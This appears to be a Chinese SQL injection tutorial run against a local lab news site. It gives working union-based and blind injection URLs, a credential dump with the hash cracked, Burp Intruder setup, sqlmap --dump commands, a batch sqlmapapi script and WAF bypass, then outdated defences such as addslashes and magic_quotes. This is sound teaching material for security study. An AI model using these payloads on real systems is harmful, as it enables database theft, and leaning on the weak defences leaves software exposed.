SQL注入分类
按注入位置分类
GET注入:注入字符在URL参数中
POST注入:注入字段在POST提交的数据中,如“姓名”输入框
Cookie注入:注入字段在Cookie数据中
其他注入:HTTP请求的其他内容触发的SQL注入漏洞
按参数类型分类
数字型注入:输入参数为整型时,如id、页码等
字符型注入:输入参数为字符串时,如姓名、地址等
字符型注入一般要用单引号或双引号进行闭合
按结果反馈分类
普通SQL注入
网页会展示来自数据库服务器的错误信息,提示SQL语法不正确等
一般在页面上直接显示执行SQL语句的结果
SQL盲注
网页上一般不会直接返回具体的数据库错误或语法错误
一般在页面上不会直接显示SQL语句执行的结果
普通SQL注入思路
普通SQL注入:执行注入SQL语句将敏感信息展示出来,并进行进一步的操作。
1.判断是否存在注入点(字符型、数字型)
2.猜解SQL查询语句中的字段数
3.确定显示的字段位置
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据(脱库)
操作方法:联合查询、报错注入
SQL盲注思路
SQL盲注不会展现任何数据库报错内容,需要构造真或假的问题对数据库进行“提问”,注入方式主要有两种:基于布尔值与基于时间
1.判断是否存在注入点,数字型、字符型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
操作方法:布尔盲注、延时注入
手工注入
手工普通SQL注入全过程,具体要求如下:
1)判断是否存在注入点(字符型、数字型)
2)猜解SQL查询语句中的字段数
3)确定显示的字段位置
4)获取当前数据库
5)获取数据库中的表
6)获取表中的字段名
7)下载数据(脱库)
测试环境准备:
phpstudy2016
news.zip解压网站
Firefox安装组件HackBar
1.打开“附加组件”界面,取消“自动更新附加组件”,然后选择“从文件安装附加组件…”,浏览安装HackBar组件
2.按F12键,查看HackBar是否正常安装
使用: 点击 Load URL ----------> Split URL ------------->Execute
1、判断是否存在注入点(字符型、数字型)
访问news靶场网站,打开某新闻页面,使用HackBar组件修改id参数,以判断是否存在数字型注入点
http://192.168.10.73/news/show.php
?id=55 and 1=1
后台拼接的SQL语句可能为: select * from news where id = 46 and 1=1
修改id参数,以判断是否存在字符型注入点,如图所示,说明不存在(')字符型注入点
后台拼接的SQL语句可能为: select * from news where id = 46' and 1=1 --+ #--+ SQL语句里可以进行注释
2、猜解SQL查询语句中的字段数
1)使用order by关键字,变化其参数猜解表中字段数
http://192.168.10.73/news/show.php
?id=55 order by 15
2)通过变换参数得知字段数为15
3、确定显示的字段位置
构造union select联合查询语句,确定显示字段的位置是3和11字段
http://192.168.10.73/news/show.php
?id=-55 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
4、获取当前数
使用database()函数获取当前数据库名称
http://192.168.10.73/news/show.php
?id=-55 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
5、获取数据库中的表
通过查询MySQL元数据库information_schema中tables表table_name字段获取数据库news中所有表名
http://192.168.10.73/news/show.php
?id=-55 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema = 'news'
6E6577735F61727469636C652C6E6577735F63617465676F72792C6E6577735F66696C652C6E6577735F667269656E646C696E6B2C6E6577735F6D6573736167652C6E6577735F6E6F746963652C6E6577735F706167652C6E6577735F7573657273
16进制数据解码后HexDecode
news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,news_users
现在转码网址:https://tool.hiofd.com/hex-convert-string-online/#google_vignette
6、获取表中字段名
通过查询MySQL元数据库information_schema中columns表column_name字段,获取news_users表中所有字段名
http://192.168.10.73/news/show.php
?id=-55 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='news_users'
7573657269642C757365726E616D652C70617373776F7264
16进制数据解码后HexDecode
userid,username,password
7、下载数据(脱库)
查询news_users表中username、password字段中数据
http://192.168.10.73/news/show.php
?id=-55 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from news_users
61646D696E3A6531306164633339343962613539616262653536653035376632306638383365
16进制数据解码后HexDecode
admin:e10adc3949ba59abbe56e057f20f883e
e10adc3949ba59abbe56e057f20f883e md5撞库解码 123456
SQL盲注
SQL盲注全过程,具体要求如下:
1)判断是否存在注入点(布尔、延时)
2)猜解当前数据库名
3)猜解数据库中的表名
4)猜解表中的字段名
5)猜解数据
1)判断是否存在注入点(布尔、延时)
http://192.168.10.73/news/show.php?id=55 and 1=1
http://192.168.10.73/news/show.php?id=55 and 1=2
http://192.168.10.73/news/show.php?id=55 and if((1=1),sleep(5),1)
http://192.168.10.73/news/show.php?id=55 and if((1=2),sleep(5),1)
2)猜解当前数据库名
http://192.168.10.73/news/show.php?id=55 and length(database())=n
http://192.168.10.73/news/show.php?id=55 and ord(substr(database(),m,1))=n
3)猜解数据库中的表名
http://127.0.0.1/news/show.php?id=55 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),n,1))=m
4)猜解表中的字段名
http://192.168.10.73/news/show.php?id=55 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n
5)猜解数据
http://192.168.10.73/news/show.php?id=55 and ord(substr((select group_concat(password) from news_users),1,1))=101
1、判断是否存在注入点(布尔、延时)
1)构造“恒真”语句,判断页面布尔状态
http://192.168.10.73/news/show.php
?id=55 and 1=1
![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传]
2)构造“恒假”语句,判断页面布尔状态
http://192.168.10.73/news/show.php
?id=55 and 1=2
3)构造条件“真”语句,判断是否页面延时
http://192.168.10.73/news/show.php
?id=55 and if((1=1),sleep(5),1)
可以通过“网络监视器”查看页面载入耗时 真的条件数据库延时显示不了数据
4)构造条件“假”语句,判断是否页面延时
http://192.168.10.73/news/show.php
?id=55 and if((1=2),sleep(5),1)
假的条件直接就拿到了数据
2、猜解当前数据库名
1)构造语句猜解数据库长度,比如长度为3时,
http://192.168.10.73/news/show.php
?id=55 and length(database())=3
结合上面的是否存在注入点可以判断数据长度为3的条件是假
比如长度为4时根据,页面布尔状态得知数据库长度为4
http://192.168.10.73/news/show.php
?id=55 and length(database())=4
2)构造语句猜解数据库名称中第1个字母,比如其ASCII码是100,
http://192.168.10.73/news/show.php
?id=55 and ord(substr(database(),1,1))=100
比如其ASCII码是110,猜解得知数据库名称第1个字母ASCII码是110,即“n”
http://192.168.10.73/news/show.php
?id=55 and ord(substr(database(),1,1))=110
依次拆解就能得到数据库名
http://127.0.0.1/news/show.php?id=55 and ord(substr(database(),n,1))=m
3)同理猜解数据库名称中第2个字母,得知数据库名称第2个字母ASCII码是101,即“e”
http://192.168.10.73/news/show.php
?id=55 and ord(substr(database(),2,1))=101
3、猜解数据库中表名
猜解数据库中表的第1个字母,得知数据库名称第1个字母ASCII码是110,即“n”,同理猜解其他位置字母
http://192.168.10.73/news/show.php
?id=55 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),1,1))=110
依次进行拆解得到数据的表名
http://127.0.0.1/news/show.php?id=55 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),n,1))=m
4、猜解表中的字段名
猜解news_users表中字段名中的第1个字母,得知表中字段第1个字母ASCII码是117,即“u”,同理猜解其他位置字母
http://192.168.10.73/news/show.php
?id=55 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),1,1))=117
依次拆解得到表命
http://192.168.10.73/news/show.php?id=55 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n
5、猜解数据
猜解username字段中数据,得知username字段中数据第1个字母ASCII码是97,即“a”,同理猜解其他位置字母。
http://192.168.10.73/news/show.php
?id=55 and ord(substr((select group_concat(username) from news_users),1,1))=97
猜解password字段中数据,得知password字段中数据第1个字母ASCII码是101,即“e”,同理猜解其他位置字母。
http://192.168.10.73/news/show.php
?id=55 and ord(substr((select group_concat(password) from news_users),1,1))=101
总结:
1)判断是否存在注入点(布尔、延时)
http://192.168.10.73/news/show.php?id=55 and 1=1
http://192.168.10.73/news/show.php?id=55 and 1=2
http://192.168.10.73/news/show.php?id=55 and if((1=1),sleep(5),1)
http://192.168.10.73/news/show.php?id=55 and if((1=2),sleep(5),1)
2)猜解当前数据库名
http://192.168.10.73/news/show.php?id=55 and length(database())=n
http://192.168.10.73/news/show.php?id=55 and ord(substr(database(),m,1))=n
3)猜解数据库中的表名
http://127.0.0.1/news/show.php?id=55 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),n,1))=m
4)猜解表中的字段名
http://192.168.10.73/news/show.php?id=55 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n
5)猜解数据
http://192.168.10.73/news/show.php?id=55 and ord(substr((select group_concat(password) from news_users),1,1))=101
Burp Suite辅助手工注入
BurpSuite是用于攻击web应用程序的集成平台,包含了许多工具
Proxy:代理器,拦截、查看、修改原始数据流
Intruder:攻击器,对web应用程序进行攻击
Repeater:中继器,修改、重发HTTP请求
Comparer:对比器,信息差异比较工具
安装火狐插件FoxyProxy,配置Firefox代理服务器
开启FoxyProxy代理服务器
简单使用
1.开启代理服务器,发送请求数据
2.burp suite开启拦截后,发送到 Intruder(攻击器)
2.1单个载荷就选择狙击手(Sniper)、两个以上选择集束炸弹(Clusterbomb)清除载荷,关键字处添加载荷
2.2Payload设置
猜解password,设置“m”、“n”为变量 分别对应载荷1 载荷2
在 payloads 选项卡中设置“m”的取值范围是1~50,“n”的取值范围是32~126,如图-25所示,最后单击 开始攻击
结果进行排序,得到ascii的数字,在解码成字符即可/可以使用bp将SQL盲注和手动注入走遍
sqlmap
sqlmap是一个开源渗透测试工具,可以实现自动SQL注入
完全支持MySQL、Oracle、SQLServer、DB2等多种数据库管理系统
完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注
入和堆查询注入
支持下载数据库中的某个完整表,或部分数据
支持搜索指定的数据库名、表名或列名
支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
支持自动识别密码哈希格式并通过字典破解密码哈希
sqlmap.py 注入流程(GET)
1.判断是否存在sql注入点
sqlmap.py -u http://127.0.0.1/news/show.php?id=55
2.获取数据库服务器上所有数据库名
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 --dbs
3.获取正在使用的数据库名
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 --current-db
4.获取数据库中数据表
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news --tables
5.获取字段名
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news -T news_users --columns
6.(拖库)获取所有数据
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news -T news_users -C useid,username,password --dump
1.判断是否存在sql注入点
-u:url 指定url地址
sqlmap.py -u http://127.0.0.1/news/show.php?id=55
2.获取数据库服务器上所有数据库名
--dbs:databases 获取所有数据库名称
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 --dbs
3.获取正在使用的数据库名
--current-db: current 当前的 db database 数据库
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 --current-db
4.获取数据库中数据表
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news --tables
)
5.获取字段名
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news -T news_users --columns
6.(拖库)获取所有数据
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news -T news_users -C username,password --dump
总结:
1.判断是否存在sql注入点
sqlmap.py -u http://127.0.0.1/news/show.php?id=55
2.获取数据库服务器上所有数据库名
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 --dbs
3.获取正在使用的数据库名
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 --current-db
4.获取数据库中数据表
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news --tables
5.获取字段名
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news -T news_users --columns
6.(拖库)获取所有数据
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news -T news_users -C userid,username,password --dump
sqlmap.py POST注入流程
1、开启 burpsuite 进行抓包POST请求的数据包
2、将 burpsuite 进行抓包POST请求的数据包,保存为.txt 文本文件
3、使用sqlmap.py 加载文件进行注入
检测是否存在注入点
sqlmap.py -r login01.txt
获取数据库
sqlmap.py -r login01.txt --dbs
获取正在使用的数据库名
sqlmap.py -r login01.txt --current-db
数据库中数据表
sqlmap.py -r login01.txt -D news --tables
获取字段名
sqlmap.py -r login01.txt -D news -T news_users --columns
(拖库)获取所有数据
sqlmap.py -r login01.txt -D news -D news -T news_users -C userid,username,password --dump
sqlmapapi.py
通过api接口调用来实现自动化扫描,不然每个注入点,都需要我们手工的使用sqlmap;可以进行对个url扫描注入
参考:https://www.freebuf.com/articles/web/265908.html
开发当前项目过程(利用sqlmapapi接口实现批量url注入安全检测
获取sqlmapapi接口信息 sqlmapapi.py -s
1 创建新任务记录任务ID @get("/task/new")
2 设置任务ID扫描信息 @post("/option/<taskid>/set")
3 开始扫描对应ID任务 @post("/scan/<taskid>/start")
4 读取扫描状态判断结果 @get("/scan/<taskid>/status")
5 如果结束删除ID并获取结果 @get("/task/<taskid>/delete")
6 扫描结果查看 @get("/scan/<taskid>/data)
启动服务端
sqlmapapi.py -s
python脚本:可以进行批量注入检测
import requests
import json
import time
# 1、创建新任务记录任务ID
task_new_rul='http://127.0.0.1:8775/task/new'
resp = requests.get(task_new_rul)
task_id = resp.json()['taskid']
print(task_id)
#输出结果:a89fd1862793b8d6
#2、设置要扫描任务的URL
data = {
'url':'http://192.168.10.73/news/show.php?id=55'
}
headers={
'Content-Type':'application/json'
}
task_set_url = 'http://127.0.0.1:8775/option/'+task_id+'/set'
print(task_set_url)
task_set_resp=requests.post(task_set_url,data=json.dumps(data),headers=headers)
print(task_set_resp.content.decode('utf-8'))
#http://127.0.0.1:8775/option/a89fd1862793b8d6/set
# {
# "success": true
# }
#3、开始扫描对应ID任务
task_start_url = 'http://127.0.0.1:8775/scan/' + task_id + '/start'
task_start_resp = requests.post(task_start_url, data=json.dumps(data), headers=headers)
print(task_start_resp.content.decode('utf-8'))
# {
# "success": true
# }
#4、读取扫描状态判断结果
#获取对应ID的扫描状态
#task_status_url='http://127.0.0.1:8775/scan/'+task_id+'/status'
#task_status_resp=requests.get(task_status_url)
#print(task_status_resp.content.decode('utf-8'))
#
# {
# "success": true,
# "status": "not running",
# "returncode": null
# }
#5、扫描结果查看
while 1:
task_status_url = 'http://127.0.0.1:8775/scan/' + task_id + '/status'
task_status_resp = requests.get(task_status_url)
if 'running' in task_status_resp.content.decode('utf-8'): #任务可能在后台运行
print('任务正在扫描中......')
pass
else:
task_data_url='http://127.0.0.1:8775/scan/' + task_id + '/data'
task_data_resp= requests.get(task_data_url)
print(task_data_resp.content.decode('utf-8'))
break
time.sleep(3)
浏览器上进行访问:
http://127.0.0.1:8775/scan/ea6224bbe7f4d8bd/data
sqlmap过waf
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 --tamper=low.py
sqlmap 目录下的tamper 存放罩一些python文件,参考进行编写
防御
1.代码层面
intval(参数): 可以将参数转换成整型值
<?php
header('Content-type:text/html;charset=utf-8');
$url = '55 and 1=1';
echo $url;
echo '<br>';
echo intval($url);
?>
addslashes(参数):在参数字符串单引号或双引号前添加反斜线\
<?php
header('Content-type:text/html;charset=utf-8');
//addslashes(参数):在参数字符串单引号或双引号前添加反斜线\
$param = "55' and 1=1";
echo $param;
echo '<br>';
echo addslashes($param);
?>
2.服务器配置层面进行防御
magic_quotes-gpc=on 开启注入防御,特殊字符进行转义
3.使用WAF进行SQL注入防御
WAF:web application firewall web应用防火墙
网站安全狗
仅供学习使用